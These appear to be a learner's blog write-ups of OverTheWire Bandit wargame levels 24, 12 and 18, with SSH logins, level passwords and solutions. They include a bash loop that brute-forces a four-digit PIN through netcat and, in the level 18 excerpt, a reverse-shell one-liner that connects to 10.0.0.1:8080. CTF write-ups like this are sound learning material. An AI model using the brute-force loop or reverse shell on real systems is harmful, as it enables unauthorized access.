Bandit 24 Over The Wire

Lessons Learned

writing bash scripts that can brute force pins

Logging in

On a kali vm/ linux machine

Type:

ssh bandit24@bandit.labs.overthewire.org -p 2220
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

Completing The Challenge

The Goal:

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

The Solution:

create a file in the /tmp folder, fill in the folder with the following:

for ((i=1000; i < 10000; i++)); do
        echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done | nc localhost 30002

In this code i looked up for loops, but i ended up looking up what to do to get a for loop on netcat, someone gave an answer with no context on Stack Overflow and it was the first result. a much better link is http://www.softpanorama.org/Scripting/Shellorama/Control_structures/pipes_in_loops.shtml, this link explains the concept quite a bit better.

then:

run the file
bandit24@bandit:~$ bash /tmp/hellotra

Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

Exiting.

Bandit 12 Over The Wire

Lessons Learned extracting and decompressing files using the following tools: file, xxd -r, gunzip, bunsip2, and tar -xf Logging in On a kali vm/ linux machine Type: ssh bandit12@bandit.labs.overthewire.org -p 2220  5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu Completing The Challenge The Goal: The password for the next level is stored in the file data.txt , which is a hexdump of a file that has been repeatedly compressed. For this level it may be useful to create a directory under /tmp in which you can work using mkdir. For example: mkdir /tmp/myname123. Then copy the datafile using cp, and rename it using mv (read the manpages!) The Solution:      Revamped:         I decided to write a bash file that solves the problem.                    mkdir /tmp/a_name/                    mv data.txt /tmp/a_name      ...

Bandit 18 Over The Wire

Lessons Learned ssh actions for when bashrc has immediate logout, also has advice on some reverse shell one liners Logging in On a kali vm/ linux machine Type: ssh bandit18@bandit.labs.overthewire.org -p 2220 kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd Completing The Challenge The Goal: The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH. The Solution: kali@kali:~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat ~/readme' This is a OverTheWire game server. More information on http://www.overthewire.org/wargames bandit18@bandit.labs.overthewire.org's password: IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x Ive made reverse shells by doing one liner tcp calls using stuff like the following in the single quotes and by mixing commands using like the following: bash -i > & /dev/tcp/10.0.0.1/8080 0 > & 1
